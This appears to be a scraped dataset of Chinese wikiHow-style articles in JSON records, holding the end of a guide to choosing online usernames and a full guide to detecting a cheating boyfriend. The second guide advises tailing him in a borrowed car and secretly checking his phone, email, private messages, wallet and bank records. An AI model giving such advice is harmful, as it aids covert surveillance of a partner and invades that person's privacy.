想想您的兴趣。\\n例如，您热衷于巴西，上网搜索亚马逊的鲜花，战士，或民间故事人物的名字。如果您喜欢修理旧车，把您最喜爱的发动机或汽车制造商作为您的用户名。\\n1-6. 创建复合用户名。\\n把您的兴趣结合起来以创建一个唯一的用户名。把两个或多个不同的词放在一起，建立一个单一的用户名。这将有助于使您的名字更加独特，并增加能够使用它的成功机会。\\n1-7. 跨越语言障碍。\\n查一查其他语言的文字。也许， “作家”的用户名不可用，但是法语的同义词“ Ecrivain ”可用。您也可以用一个幻想语言的词，如精灵或克林昂。\\n1-8. 保持简短。\\n如果您要经常输入用户名，您会喜欢一个较短的名称！缩短长词语（例如把密西西比小姐缩成米西） ，并尽量使用户名易于键入。\\n1-9. 使用符号模拟空格和字母。\\n大多数网站不会让您在用户名使用空格，但很多都会让您用下划线“_”字符模仿空空。您也可以用一些数字来代替字母，如“ 7 ”代替“T”或“ 3 ” 代替“E” 。这被称为“利特语”，一般存在于在线视频游戏界。\\n句号经常在用户名中把单词分开。\\n在用户名中不要用您的出生年份，特别是未成年人，这使得非常容易辨认您多大年纪。\\n1-10. 尝试名称生成器。\\n网上有多种随机名称生成器。这些都需要各种输入和返回一个随机生成的名称列表供您选择。虽然这比自己创建的缺少个性，但省得您绞尽脑汁想一些原创性的东西。\\n小提示\\n写下您的用户名放在计算机附近，不要忘记它。记住哪个网站用哪个用户名，特别是您有多个不同用户名和网站。\\n不要让您的用户名复杂难记，特别是如果您打算与其他人分享（例如，被加入到好友列表）。\\n列出形容您的形容词表，并设法将其纳入您的用户名。\\n您也可以使用您的名称作电子邮件用户名，但如果是工作，远离潜在的难堪尴尬的名称 。\\n对于大多数网站，用户名必须是6-14个字符之间。\\n通常更独特的用户名，就越有可能用于不同的网站，越少需要您记住。另一方面，如果您使它太个人化，您的隐私可能会成为问题。\\n一些网站，如AIM，有一个特点，当您申请时输入了几句话，他们会为您建议3 到 5个用户名称。这些一般会给予您更多的原创性成果，但是如果您认为会不记得，就不应该使用它。\\n警告\\n当您只为wikiHow创建用户名时请务必阅读wikiHow用户名规定。 wikiHow用户名规定并不适用于一般的网站。\\n注意各网站的要求。往往会注明“用户名必须不包含任何暗示或不适当的语言。”\\n\", \"简要回答\": \"您的用户名是您的在线身份。无论您是在论坛上张贴，编辑维基，玩游戏，或做任何其他在线活动，包括与他人的互动，您的用户名是其他人看到的第一件事情。人们会根据您选择的名称设想您，所以要明智选择！按照本指南了解创建用户名的一些基本技巧。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"步骤\", \"步骤\": [{\"编号\": 1, \"标题\": \"知道您的用户名代表您。\", \"描述\": \"当您在网上与人们互动，您的用户名将会是他们看到的第一件事。确保您喜欢自己的用户名，因为您会看到很多。\"}, {\"编号\": 2, \"标题\": \"创建不同的用户名用于不同的服务。\", \"描述\": \"网上不同的地方会要求不同形式的用户名。如果您注册一个专业的网站，您的用户名可能想与使用于游戏论坛定期发布的用户名不同。\\n您可以将您的互联网用途分为两个不同的类别：专业和个人兴趣。然后，您可以在专业网站使用一个用户名，在个人兴趣网站使用另一个用户名。这样您更容易记住您的用户名。\"}, {\"编号\": 3, \"标题\": \"保持匿名。\", \"描述\": \"创建用户名时，应避免使用任何个人身份信息，包括您的姓名或生日。\\n使用您名字的变异，自己很容易记住，但别人很难联想到您的名字。例如，使用少有人知的中间名或反向拼写。\"}, {\"编号\": 4, \"标题\": \"如果您的第一个用户名被拒绝不要放弃。\", \"描述\": \"大多数主要的在线服务上的最常用名称基本都已经被采用了。如果您要加入一个老社区，很有可能您想要的名字已经被采用了。与其接受他们给您的，不如自己发挥创意！\"}, {\"编号\": 5, \"标题\": \"想想您的兴趣。\", \"描述\": \"例如，您热衷于巴西，上网搜索亚马逊的鲜花，战士，或民间故事人物的名字。如果您喜欢修理旧车，把您最喜爱的发动机或汽车制造商作为您的用户名。\"}, {\"编号\": 6, \"标题\": \"创建复合用户名。\", \"描述\": \"把您的兴趣结合起来以创建一个唯一的用户名。把两个或多个不同的词放在一起，建立一个单一的用户名。这将有助于使您的名字更加独特，并增加能够使用它的成功机会。\"}, {\"编号\": 7, \"标题\": \"跨越语言障碍。\", \"描述\": \"查一查其他语言的文字。也许， “作家”的用户名不可用，但是法语的同义词“ Ecrivain ”可用。您也可以用一个幻想语言的词，如精灵或克林昂。\"}, {\"编号\": 8, \"标题\": \"保持简短。\", \"描述\": \"如果您要经常输入用户名，您会喜欢一个较短的名称！缩短长词语（例如把密西西比小姐缩成米西） ，并尽量使用户名易于键入。\"}, {\"编号\": 9, \"标题\": \"使用符号模拟空格和字母。\", \"描述\": \"大多数网站不会让您在用户名使用空格，但很多都会让您用下划线“_”字符模仿空空。您也可以用一些数字来代替字母，如“ 7 ”代替“T”或“ 3 ” 代替“E” 。这被称为“利特语”，一般存在于在线视频游戏界。\\n句号经常在用户名中把单词分开。\\n在用户名中不要用您的出生年份，特别是未成年人，这使得非常容易辨认您多大年纪。\"}, {\"编号\": 10, \"标题\": \"尝试名称生成器。\", \"描述\": \"网上有多种随机名称生成器。这些都需要各种输入和返回一个随机生成的名称列表供您选择。虽然这比自己创建的缺少个性，但省得您绞尽脑汁想一些原创性的东西。\"}], \"小提示\": [\"写下您的用户名放在计算机附近，不要忘记它。记住哪个网站用哪个用户名，特别是您有多个不同用户名和网站。\\n\", \"不要让您的用户名复杂难记，特别是如果您打算与其他人分享（例如，被加入到好友列表）。\\n\", \"列出形容您的形容词表，并设法将其纳入您的用户名。\\n\", \"您也可以使用您的名称作电子邮件用户名，但如果是工作，远离潜在的难堪尴尬的名称 。\\n\", \"对于大多数网站，用户名必须是6-14个字符之间。\\n\", \"通常更独特的用户名，就越有可能用于不同的网站，越少需要您记住。另一方面，如果您使它太个人化，您的隐私可能会成为问题。\\n\", \"一些网站，如AIM，有一个特点，当您申请时输入了几句话，他们会为您建议3 到 5个用户名称。这些一般会给予您更多的原创性成果，但是如果您认为会不记得，就不应该使用它。\\n\"], \"注意事项\": [\"当您只为wikiHow创建用户名时请务必阅读wikiHow用户名规定。 wikiHow用户名规定并不适用于一般的网站。\\n\", \"注意各网站的要求。往往会注明“用户名必须不包含任何暗示或不适当的语言。”\\n\"]}]}}",
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14,662 | 如何查出男友是否对你不忠 | 1. 注意他的仪表
1-1. 看看他的外表有没有变化。
你男人的外表能说明很多，究竟他是不是在欺骗你。如果他以前不怎么注重仪表，但现在比你还花更多时间修饰自己，那么肯定是有事情发生。他可能是为了取悦别人而改善或改变自己的外表。以下迹象表明他是为别人修饰自己：
他以前很邋遢，但现在经常刮胡子。
他定期剪头发，但他以前的发型很乱。
他穿的衣服明显变好了。
你发现他盯着镜子在看自己的仪容。
他总是看起来很帅，即使是在他应该学习或加班的时候。
一个很大的危险信号是“如果他闻起来不一样了”。不管是因为与别的女生一起而轻微改变身体的化学反应，抑或是他彻底闻起来像喷了香水，这是个显然的信号，他有在跟别的女生一起。
他的身体和衣服上有不属于你的直发。
1-2. 注意他是如何对待自己的身体。
如果你的男人突然比以前更关心自己的身材，那么他可能不是为了你。除非他突然间决定要跑马拉松，否则的话更像是为了别的女人改善自己的身材。以下是一些迹象：
他突然间总是做运动，非常关心自己的外表。记住，去健身房可能也只是见别的女人的借口。
他为了健康而明显改变自己的饮食习惯。他可能是为了给别人留下好印象。
他跟你一起时很奇怪地害羞展示自己的身体，不想让你看到他脱衣服，只想在黑暗中做爱。可能是他觉得这样是对另一个女人不忠。
1-3. 注意他的肢体语言。
你男人的肢体语言可以告诉你他对你的感觉，以及他是否真的在想别人而不是你。以下几点表明他可能在欺骗你：
他在跟你聊天时不跟你眼神接触，如果他以前经常望着你的眼睛，但现在总是望向别处，或者在你说话时望着地板，那么他可能是出于内疚。
他不展示对你的感情。如果他以前会展示对你的喜爱，但现在很少触碰你，那么这是一个红色信号。
他只在私下表示对你的喜爱，而不是公开。虽然有些男人不善于在公开场合表达自己的感情，但在家里，或者是你在家和几个朋友一起时，才跟你很亲昵，但当你们在餐厅时却保持距离，他可能是担心其他你承认看到你们在一起。
2. 注意他做的事
2-1. 留意你们的性生活有没有改变。
如果他有别的女朋友，他可能不会再跟你花很多时间在卧室里，但有时也可能会让他想要更多性生活。你应该留意以下情况：
你们很长时间都没做过爱了。如果他突然再也不想跟你做爱了，那可能是从别的地方得到了性满足。
突然间，他对于性的追求更贪婪。如果他总是突然间想跟你做爱，可能是他的欲望被另一个女人挑起了。
如果他试图使用很多的新姿势。他可能是从别的女人身上学到这些。
2-2. 看看他是否对你更好、更愿意帮助你。
你的男友可能心里非常愧疚，因为他背叛了你，这会让他对你更好。如果你发现他突然间帮忙做很多家务，或者帮你做很多事情，他可能是在补偿你。
如果他帮你打扫公寓、修理你的车子或者帮你买杂货，而这些他以前从来不做，那么也许是有原因的。
如果他总是问你有什么他可以帮忙。
如果他突然间很浪漫，送你糖果和鲜花，特别是在他离开很长一段时间以后。
2-3. 看看他是否突然间变得一丝不苟。
如果你的男朋友从来都不关心他的车或者公寓的状况，但现在他会花几个小时来打扫，那么他可能是为另一个女人打扫，又或者是在隐藏证据。
如果他的车经常很乱，现在却一尘不染，他可能是为另一个女人做清洁。
如果他的公寓比以前更加干净，若他总说他需要时间打扫，他可能是为了消除证据而打扫。如果你真的想查出他是不是背叛你，在他说要“打扫公寓”的时候过去，看看他实际上在做什么。
如果他在车里或者家里使用清香剂。他可能是用于隐藏其他女人的味道。
2-4. 看看他的心情是否改变了。
他是不是总像心情很好那样，或者情绪反复无常，而不是他平常的样子，那么肯定是有事情发生。注意他的心情，看是否发生什么：
他偶尔心情异常地好，就像在阳光下散步，但没有明显原因。如果他咧着嘴笑，望向远方，就像在回想与其他女生的美好回忆，那么有可能他的好心情与你无关。
他突然间心情很糟糕。如果什么事都很好，而他突然间发怒或者很不安，特别是打完电话或发完短信之后，可能是跟别的女生有关。
2-5. 看看他是否有普遍的见不得人的行为。
见不得人的行为是很容易看出来的，如果他做了至少有几件见不得人的事情，那么只能说他是偷偷与别的女生幽会。以下是几个预兆：
他花很多时间发短信或者打电话。如果他一看到你离开房间就发短信，或者你一进来就结束电话。
他突然花很多时间上网。这可能是他跟别的女生在聊天。如果他在你一进门就合上电脑屏幕，那就不妙了。
他消失几个钟，一天、一晚上或者甚至是整个周末都联系不上。如果他没时间复你电话或者只发一条简洁的短信，那么可能他是与别的女生在一起。
他连续好几个钟手机关机。他还会因为什么这样做？
3. 注意他说的话
3-1. 注意他的借口。
之前，他似乎总是随时可以跟你约会，现在，他不能见你的理由越来越多。刚开始，当他说他胃痛或者很累的时候，你相信他，但是你开始在想他是否其实在告诉你，他不想跟你相处，因为他忙着跟其他女生约会。以下一些迹象可能表明他在欺骗你：
他以前总把自己的空闲时间留给你，但现在他总是出去过“男生之夜”。这一点特别可疑，因为他并没有那么多男性朋友，或者之前从来都没兴趣跟他的兄弟相处。
他突然总是在加班。虽然他过去偶尔会加班，但突然工作变得“非常”忙碌，而他似乎总是在工作，而不是跟你相处。当然，很多专业人士有忙碌的季节，他可能在做一个很花时间的项目，但更可能的是，他在用加班来当作“跟别的女朋友约会”的借口。
他“总是”很累，不能外出太晚，而以前“从来”不会感觉累，这可能是他把能量用于别的地方了。
如果你们经常有一起吃午餐或者晚餐的习惯，现在他却总是没有心情，或者身体不适，又或者不太饿。
单单是其中的一个迹象都不意味着你的男友正在欺骗你。但如果所有的这些都重复发生，要不就意味着他跟别的人常常一起，要么就是他不想再跟你相处。如果他总是为他的缺席找借口，那么你应该问问自己为什么还要维持这段恋爱。
3-2. 注意他说的事。
即使他没有掰借口，你的男友也可能开始说出一些完全不像他会说的话。如果他对你说话的方式以及他总的说话方式突然改变了，那么他可能是在想别的女生。这里有些关于他说的话的提示，一些能表明他在欺骗你的事：
他不再赞扬你。他以前是不是经常会赞扬你，而现在他却突然不再这样做？如果他从来没对你说过你很漂亮，或者提起你最好的特质以及你有多棒，那么可能他是把恭维的话留着说给别人听。
他更频繁赞美你。如果他不是一个经常赞美的人，但突然间总是告诉说你有多棒，他可能是做了什么内疚的事。如果他在长时间不清不楚的离开后这样做，就太可疑了。
他听起来不太一样。如果他说了些以前从来不说的话，使用的词是以前从未使用的，或者连笑容都不一样，可能他是从一位特别的女士身上学到的。
他中间几个小时没有回复你的短信。如果你长时间在跟他用短信交流，而他突然间消失了，可能意味着他的新女朋友刚来过。
4. 调查
4-1. 问他是否在欺骗你。
当这些迹象都全部累加在一起，你觉得你已经知道了他对你不忠的事实，是时候让他坦白了。最简单的方法就是直接的对话。那么你可以不再偷窥他的东西，不用再看到一些不喜欢的东西时受到伤害，不再让自己承受额外的痛苦和羞辱。以下是如何做到这点：
趁他不防备。你还是应该选择对的时间和对的地点来做这件事，但你应该在他没有预料的时候，这样他就无法对你扯一个弥天大谎。
告诉他你更希望他诚实，而不是说更多慌。让他觉得你是在通过坦白他做的事情来帮助他。
说，“我觉得我们如果能坦白会好受些。”使之听起来像是他不再对你说谎就会很释然。他可能会这么做。两面人的生活是很累的。
眼神接触。要非常真诚。让他知道他真的伤害了你。
如果你害怕自己去问，但不想再跟踪他或者偷窥他的东西，问你的朋友，甚至可以问你喜欢的一个他的朋友。如果他的朋友知道他见不得人之事，可能也觉得不好。
4-2. 跟踪他。
如果你害怕那种对话，或者感觉自己没有足够证据，跟踪他，看他去做什么。你必须要小心点，否则他会发现的，会不再相信你，不会再让你发现更多证据。这里是如何做：
用朋友的车跟踪他。如果他说他跟几个男生在外面，而你真的想知道他在做什么，用朋友的车跟着他，这样他才不会注意到你。
在他意料不到的时候“跳出来”。在平常时间出现，比如说他说自己在打扫，或者身体不适是时候。如果他身体不适，带些汤，装着你想表现体贴。不管他是不是跟别的女生在一起，都看看他如何表现。他是不是很高兴见到你。还是生气你没有提醒就出现？
看他是否真的在加班。这很简单。只需经过他工作的地方，给他送杯咖啡或者宵夜，看他是否在那里。或者开车经过看看他的车是不是还在。
4-3. 偷窥他的东西。
偷窥你男人的东西是最容易毁灭你们之间信任的简单方式，也会破坏你们的感情，但如果你真的不确定他是不是对你不忠，而且想要板上钉钉的事实，不妨这么去做。以下是该怎么做：
查看他的手机。如果他很会骗人，他会让你不可能拿到他的手机，但总该试试。在他睡觉的时候看他手机，或者看看他是否把手机漏在车里，去看看。
查看他的电脑。如果他笨得任由自己的电脑开着，查看他的邮件和微博私信。这会让你很快知道他是否欺骗你。还有，注意他是否刻意删除他的电子邮件。这样也是很可疑的。
翻看他的东西。如果他在睡觉或者不在家，翻他的桌子、袋子甚至是他的钱包，看是否有别的女人的迹象。
翻看他的银行记录。你怎么不记得他为你在那浪漫的意大利餐厅花了200块钱？那么他可能是为别的女人付款。
4-4. 考虑请一位私家侦探。
有时候，你只是无法完全确定男友是否对自己不忠，或者没有充足的证据。这种情况下，请一位私家侦探或许能帮你解开心中疑团。
请私家侦探的费用可能会很贵，因此要确保自己负担得起。
小提示
如果他在外面做事时，跟别的女生聊天（发短信）比跟你更多，很可能是他对你不忠的迹象。
他会找各种各样的借口来让你难过，从而让自己在不忠里解脱出来。
不要状似随意地问他，“嘿，你不会在欺骗着我吧？”他反正会否定的，而且会觉得你不信任他了。
如果他找借口不跟你相处，但费尽心思跟他所谓的朋友出去，也许是他不想再跟你一起了。
如果你的男朋友对你更加体贴了，也有可能是不忠的信号。
如果你的男朋友开始跟你说话时，与你不在时的行为方式不一致，这也可能是一个信号。
如果你明显看到你的男朋友在欺骗你，当他死了吧。外面还有很多男人，会欣赏你这个真正的女朋友。不要浪费你的时间，试图挽救损坏的男人，让他们自我毁灭吧，这是不可避免的。祝你好运。
如果他在跟你聊天时无法看你的脸，可能意味着他在欺骗你。
跟那些发现自己男友背叛自己的朋友聊聊，看他们有什么建议。
你可以从男友是否有时间跟你一起，明显发现他是否在欺骗你。看起来他几乎总是做一些跟你无关的计划。
如果他总是在讲电话，或者你打给他的时候经常无法接通，这可能是他对你不忠的信号。
他不想让你知道他的联系人，不想让你看他的电子邮件或手机。
不管你做什么都无法影响他的行为。有时候，你什么都做不了，只能离开。永远不要忘记这个选择，否则你的生活无法前进。
如果你的男朋友在长时间的离开之后，总是晚几个小时才回家，这可能是他有外遇的信号。
警告
在你决定偷窥你男友的东西之前，仔细想清楚。这对你们之间的信任有很大伤害，如果你们的关系都到了那个程度，或许是时候放弃了。
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"回答明细": "{\"回答\": \"1. 注意他的仪表\\n1-1. 看看他的外表有没有变化。\\n你男人的外表能说明很多，究竟他是不是在欺骗你。如果他以前不怎么注重仪表，但现在比你还花更多时间修饰自己，那么肯定是有事情发生。他可能是为了取悦别人而改善或改变自己的外表。以下迹象表明他是为别人修饰自己：\\n他以前很邋遢，但现在经常刮胡子。\\n他定期剪头发，但他以前的发型很乱。\\n他穿的衣服明显变好了。\\n你发现他盯着镜子在看自己的仪容。\\n他总是看起来很帅，即使是在他应该学习或加班的时候。\\n一个很大的危险信号是“如果他闻起来不一样了”。不管是因为与别的女生一起而轻微改变身体的化学反应，抑或是他彻底闻起来像喷了香水，这是个显然的信号，他有在跟别的女生一起。\\n他的身体和衣服上有不属于你的直发。\\n1-2. 注意他是如何对待自己的身体。\\n如果你的男人突然比以前更关心自己的身材，那么他可能不是为了你。除非他突然间决定要跑马拉松，否则的话更像是为了别的女人改善自己的身材。以下是一些迹象：\\n他突然间总是做运动，非常关心自己的外表。记住，去健身房可能也只是见别的女人的借口。\\n他为了健康而明显改变自己的饮食习惯。他可能是为了给别人留下好印象。\\n他跟你一起时很奇怪地害羞展示自己的身体，不想让你看到他脱衣服，只想在黑暗中做爱。可能是他觉得这样是对另一个女人不忠。\\n1-3. 注意他的肢体语言。\\n你男人的肢体语言可以告诉你他对你的感觉，以及他是否真的在想别人而不是你。以下几点表明他可能在欺骗你：\\n他在跟你聊天时不跟你眼神接触，如果他以前经常望着你的眼睛，但现在总是望向别处，或者在你说话时望着地板，那么他可能是出于内疚。\\n他不展示对你的感情。如果他以前会展示对你的喜爱，但现在很少触碰你，那么这是一个红色信号。\\n他只在私下表示对你的喜爱，而不是公开。虽然有些男人不善于在公开场合表达自己的感情，但在家里，或者是你在家和几个朋友一起时，才跟你很亲昵，但当你们在餐厅时却保持距离，他可能是担心其他你承认看到你们在一起。\\n2. 注意他做的事\\n2-1. 留意你们的性生活有没有改变。\\n如果他有别的女朋友，他可能不会再跟你花很多时间在卧室里，但有时也可能会让他想要更多性生活。你应该留意以下情况：\\n你们很长时间都没做过爱了。如果他突然再也不想跟你做爱了，那可能是从别的地方得到了性满足。\\n突然间，他对于性的追求更贪婪。如果他总是突然间想跟你做爱，可能是他的欲望被另一个女人挑起了。\\n如果他试图使用很多的新姿势。他可能是从别的女人身上学到这些。\\n2-2. 看看他是否对你更好、更愿意帮助你。\\n你的男友可能心里非常愧疚，因为他背叛了你，这会让他对你更好。如果你发现他突然间帮忙做很多家务，或者帮你做很多事情，他可能是在补偿你。\\n如果他帮你打扫公寓、修理你的车子或者帮你买杂货，而这些他以前从来不做，那么也许是有原因的。\\n如果他总是问你有什么他可以帮忙。\\n如果他突然间很浪漫，送你糖果和鲜花，特别是在他离开很长一段时间以后。\\n2-3. 看看他是否突然间变得一丝不苟。\\n如果你的男朋友从来都不关心他的车或者公寓的状况，但现在他会花几个小时来打扫，那么他可能是为另一个女人打扫，又或者是在隐藏证据。\\n如果他的车经常很乱，现在却一尘不染，他可能是为另一个女人做清洁。\\n如果他的公寓比以前更加干净，若他总说他需要时间打扫，他可能是为了消除证据而打扫。如果你真的想查出他是不是背叛你，在他说要“打扫公寓”的时候过去，看看他实际上在做什么。\\n如果他在车里或者家里使用清香剂。他可能是用于隐藏其他女人的味道。\\n2-4. 看看他的心情是否改变了。\\n他是不是总像心情很好那样，或者情绪反复无常，而不是他平常的样子，那么肯定是有事情发生。注意他的心情，看是否发生什么：\\n他偶尔心情异常地好，就像在阳光下散步，但没有明显原因。如果他咧着嘴笑，望向远方，就像在回想与其他女生的美好回忆，那么有可能他的好心情与你无关。\\n他突然间心情很糟糕。如果什么事都很好，而他突然间发怒或者很不安，特别是打完电话或发完短信之后，可能是跟别的女生有关。\\n2-5. 看看他是否有普遍的见不得人的行为。\\n见不得人的行为是很容易看出来的，如果他做了至少有几件见不得人的事情，那么只能说他是偷偷与别的女生幽会。以下是几个预兆：\\n他花很多时间发短信或者打电话。如果他一看到你离开房间就发短信，或者你一进来就结束电话。\\n他突然花很多时间上网。这可能是他跟别的女生在聊天。如果他在你一进门就合上电脑屏幕，那就不妙了。\\n他消失几个钟，一天、一晚上或者甚至是整个周末都联系不上。如果他没时间复你电话或者只发一条简洁的短信，那么可能他是与别的女生在一起。\\n他连续好几个钟手机关机。他还会因为什么这样做？\\n3. 注意他说的话\\n3-1. 注意他的借口。\\n之前，他似乎总是随时可以跟你约会，现在，他不能见你的理由越来越多。刚开始，当他说他胃痛或者很累的时候，你相信他，但是你开始在想他是否其实在告诉你，他不想跟你相处，因为他忙着跟其他女生约会。以下一些迹象可能表明他在欺骗你：\\n他以前总把自己的空闲时间留给你，但现在他总是出去过“男生之夜”。这一点特别可疑，因为他并没有那么多男性朋友，或者之前从来都没兴趣跟他的兄弟相处。\\n他突然总是在加班。虽然他过去偶尔会加班，但突然工作变得“非常”忙碌，而他似乎总是在工作，而不是跟你相处。当然，很多专业人士有忙碌的季节，他可能在做一个很花时间的项目，但更可能的是，他在用加班来当作“跟别的女朋友约会”的借口。\\n他“总是”很累，不能外出太晚，而以前“从来”不会感觉累，这可能是他把能量用于别的地方了。\\n如果你们经常有一起吃午餐或者晚餐的习惯，现在他却总是没有心情，或者身体不适，又或者不太饿。\\n单单是其中的一个迹象都不意味着你的男友正在欺骗你。但如果所有的这些都重复发生，要不就意味着他跟别的人常常一起，要么就是他不想再跟你相处。如果他总是为他的缺席找借口，那么你应该问问自己为什么还要维持这段恋爱。\\n3-2. 注意他说的事。\\n即使他没有掰借口，你的男友也可能开始说出一些完全不像他会说的话。如果他对你说话的方式以及他总的说话方式突然改变了，那么他可能是在想别的女生。这里有些关于他说的话的提示，一些能表明他在欺骗你的事：\\n他不再赞扬你。他以前是不是经常会赞扬你，而现在他却突然不再这样做？如果他从来没对你说过你很漂亮，或者提起你最好的特质以及你有多棒，那么可能他是把恭维的话留着说给别人听。\\n他更频繁赞美你。如果他不是一个经常赞美的人，但突然间总是告诉说你有多棒，他可能是做了什么内疚的事。如果他在长时间不清不楚的离开后这样做，就太可疑了。\\n他听起来不太一样。如果他说了些以前从来不说的话，使用的词是以前从未使用的，或者连笑容都不一样，可能他是从一位特别的女士身上学到的。\\n他中间几个小时没有回复你的短信。如果你长时间在跟他用短信交流，而他突然间消失了，可能意味着他的新女朋友刚来过。\\n4. 调查\\n4-1. 问他是否在欺骗你。\\n当这些迹象都全部累加在一起，你觉得你已经知道了他对你不忠的事实，是时候让他坦白了。最简单的方法就是直接的对话。那么你可以不再偷窥他的东西，不用再看到一些不喜欢的东西时受到伤害，不再让自己承受额外的痛苦和羞辱。以下是如何做到这点：\\n趁他不防备。你还是应该选择对的时间和对的地点来做这件事，但你应该在他没有预料的时候，这样他就无法对你扯一个弥天大谎。\\n告诉他你更希望他诚实，而不是说更多慌。让他觉得你是在通过坦白他做的事情来帮助他。\\n说，“我觉得我们如果能坦白会好受些。”使之听起来像是他不再对你说谎就会很释然。他可能会这么做。两面人的生活是很累的。\\n眼神接触。要非常真诚。让他知道他真的伤害了你。\\n如果你害怕自己去问，但不想再跟踪他或者偷窥他的东西，问你的朋友，甚至可以问你喜欢的一个他的朋友。如果他的朋友知道他见不得人之事，可能也觉得不好。\\n4-2. 跟踪他。\\n如果你害怕那种对话，或者感觉自己没有足够证据，跟踪他，看他去做什么。你必须要小心点，否则他会发现的，会不再相信你，不会再让你发现更多证据。这里是如何做：\\n用朋友的车跟踪他。如果他说他跟几个男生在外面，而你真的想知道他在做什么，用朋友的车跟着他，这样他才不会注意到你。\\n在他意料不到的时候“跳出来”。在平常时间出现，比如说他说自己在打扫，或者身体不适是时候。如果他身体不适，带些汤，装着你想表现体贴。不管他是不是跟别的女生在一起，都看看他如何表现。他是不是很高兴见到你。还是生气你没有提醒就出现？\\n看他是否真的在加班。这很简单。只需经过他工作的地方，给他送杯咖啡或者宵夜，看他是否在那里。或者开车经过看看他的车是不是还在。\\n4-3. 偷窥他的东西。\\n偷窥你男人的东西是最容易毁灭你们之间信任的简单方式，也会破坏你们的感情，但如果你真的不确定他是不是对你不忠，而且想要板上钉钉的事实，不妨这么去做。以下是该怎么做：\\n查看他的手机。如果他很会骗人，他会让你不可能拿到他的手机，但总该试试。在他睡觉的时候看他手机，或者看看他是否把手机漏在车里，去看看。\\n查看他的电脑。如果他笨得任由自己的电脑开着，查看他的邮件和微博私信。这会让你很快知道他是否欺骗你。还有，注意他是否刻意删除他的电子邮件。这样也是很可疑的。\\n翻看他的东西。如果他在睡觉或者不在家，翻他的桌子、袋子甚至是他的钱包，看是否有别的女人的迹象。\\n翻看他的银行记录。你怎么不记得他为你在那浪漫的意大利餐厅花了200块钱？那么他可能是为别的女人付款。\\n4-4. 考虑请一位私家侦探。\\n有时候，你只是无法完全确定男友是否对自己不忠，或者没有充足的证据。这种情况下，请一位私家侦探或许能帮你解开心中疑团。\\n请私家侦探的费用可能会很贵，因此要确保自己负担得起。\\n小提示\\n如果他在外面做事时，跟别的女生聊天（发短信）比跟你更多，很可能是他对你不忠的迹象。\\n他会找各种各样的借口来让你难过，从而让自己在不忠里解脱出来。\\n不要状似随意地问他，“嘿，你不会在欺骗着我吧？”他反正会否定的，而且会觉得你不信任他了。\\n如果他找借口不跟你相处，但费尽心思跟他所谓的朋友出去，也许是他不想再跟你一起了。\\n如果你的男朋友对你更加体贴了，也有可能是不忠的信号。\\n如果你的男朋友开始跟你说话时，与你不在时的行为方式不一致，这也可能是一个信号。\\n如果你明显看到你的男朋友在欺骗你，当他死了吧。外面还有很多男人，会欣赏你这个真正的女朋友。不要浪费你的时间，试图挽救损坏的男人，让他们自我毁灭吧，这是不可避免的。祝你好运。\\n如果他在跟你聊天时无法看你的脸，可能意味着他在欺骗你。\\n跟那些发现自己男友背叛自己的朋友聊聊，看他们有什么建议。\\n你可以从男友是否有时间跟你一起，明显发现他是否在欺骗你。看起来他几乎总是做一些跟你无关的计划。\\n如果他总是在讲电话，或者你打给他的时候经常无法接通，这可能是他对你不忠的信号。\\n他不想让你知道他的联系人，不想让你看他的电子邮件或手机。\\n不管你做什么都无法影响他的行为。有时候，你什么都做不了，只能离开。永远不要忘记这个选择，否则你的生活无法前进。\\n如果你的男朋友在长时间的离开之后，总是晚几个小时才回家，这可能是他有外遇的信号。\\n警告\\n在你决定偷窥你男友的东西之前，仔细想清楚。这对你们之间的信任有很大伤害，如果你们的关系都到了那个程度，或许是时候放弃了。\\n\", \"简要回答\": \"不管你是刚开始一段恋情，或者是正处于一段很认真的感情之中，总会有可能你的男友正在背着你乱搞。如果你有理由怀疑他在欺骗你，或者如果你不知道自己是否想太多了，根据以下简单的提示，查出你的男人是否忠诚。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"注意他的仪表\", \"步骤\": [{\"编号\": 1, \"标题\": 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\"如果你害怕那种对话，或者感觉自己没有足够证据，跟踪他，看他去做什么。你必须要小心点，否则他会发现的，会不再相信你，不会再让你发现更多证据。这里是如何做：\\n用朋友的车跟踪他。如果他说他跟几个男生在外面，而你真的想知道他在做什么，用朋友的车跟着他，这样他才不会注意到你。\\n在他意料不到的时候“跳出来”。在平常时间出现，比如说他说自己在打扫，或者身体不适是时候。如果他身体不适，带些汤，装着你想表现体贴。不管他是不是跟别的女生在一起，都看看他如何表现。他是不是很高兴见到你。还是生气你没有提醒就出现？\\n看他是否真的在加班。这很简单。只需经过他工作的地方，给他送杯咖啡或者宵夜，看他是否在那里。或者开车经过看看他的车是不是还在。\"}, {\"编号\": 3, \"标题\": \"偷窥他的东西。\", \"描述\": \"偷窥你男人的东西是最容易毁灭你们之间信任的简单方式，也会破坏你们的感情，但如果你真的不确定他是不是对你不忠，而且想要板上钉钉的事实，不妨这么去做。以下是该怎么做：\\n查看他的手机。如果他很会骗人，他会让你不可能拿到他的手机，但总该试试。在他睡觉的时候看他手机，或者看看他是否把手机漏在车里，去看看。\\n查看他的电脑。如果他笨得任由自己的电脑开着，查看他的邮件和微博私信。这会让你很快知道他是否欺骗你。还有，注意他是否刻意删除他的电子邮件。这样也是很可疑的。\\n翻看他的东西。如果他在睡觉或者不在家，翻他的桌子、袋子甚至是他的钱包，看是否有别的女人的迹象。\\n翻看他的银行记录。你怎么不记得他为你在那浪漫的意大利餐厅花了200块钱？那么他可能是为别的女人付款。\"}, {\"编号\": 4, \"标题\": \"考虑请一位私家侦探。\", \"描述\": \"有时候，你只是无法完全确定男友是否对自己不忠，或者没有充足的证据。这种情况下，请一位私家侦探或许能帮你解开心中疑团。\\n请私家侦探的费用可能会很贵，因此要确保自己负担得起。\"}], \"小提示\": [\"如果他在外面做事时，跟别的女生聊天（发短信）比跟你更多，很可能是他对你不忠的迹象。\\n\", \"他会找各种各样的借口来让你难过，从而让自己在不忠里解脱出来。\\n\", \"不要状似随意地问他，“嘿，你不会在欺骗着我吧？”他反正会否定的，而且会觉得你不信任他了。\\n\", \"如果他找借口不跟你相处，但费尽心思跟他所谓的朋友出去，也许是他不想再跟你一起了。\\n\", \"如果你的男朋友对你更加体贴了，也有可能是不忠的信号。\\n\", \"如果你的男朋友开始跟你说话时，与你不在时的行为方式不一致，这也可能是一个信号。\\n\", \"如果你明显看到你的男朋友在欺骗你，当他死了吧。外面还有很多男人，会欣赏你这个真正的女朋友。不要浪费你的时间，试图挽救损坏的男人，让他们自我毁灭吧，这是不可避免的。祝你好运。\\n\", 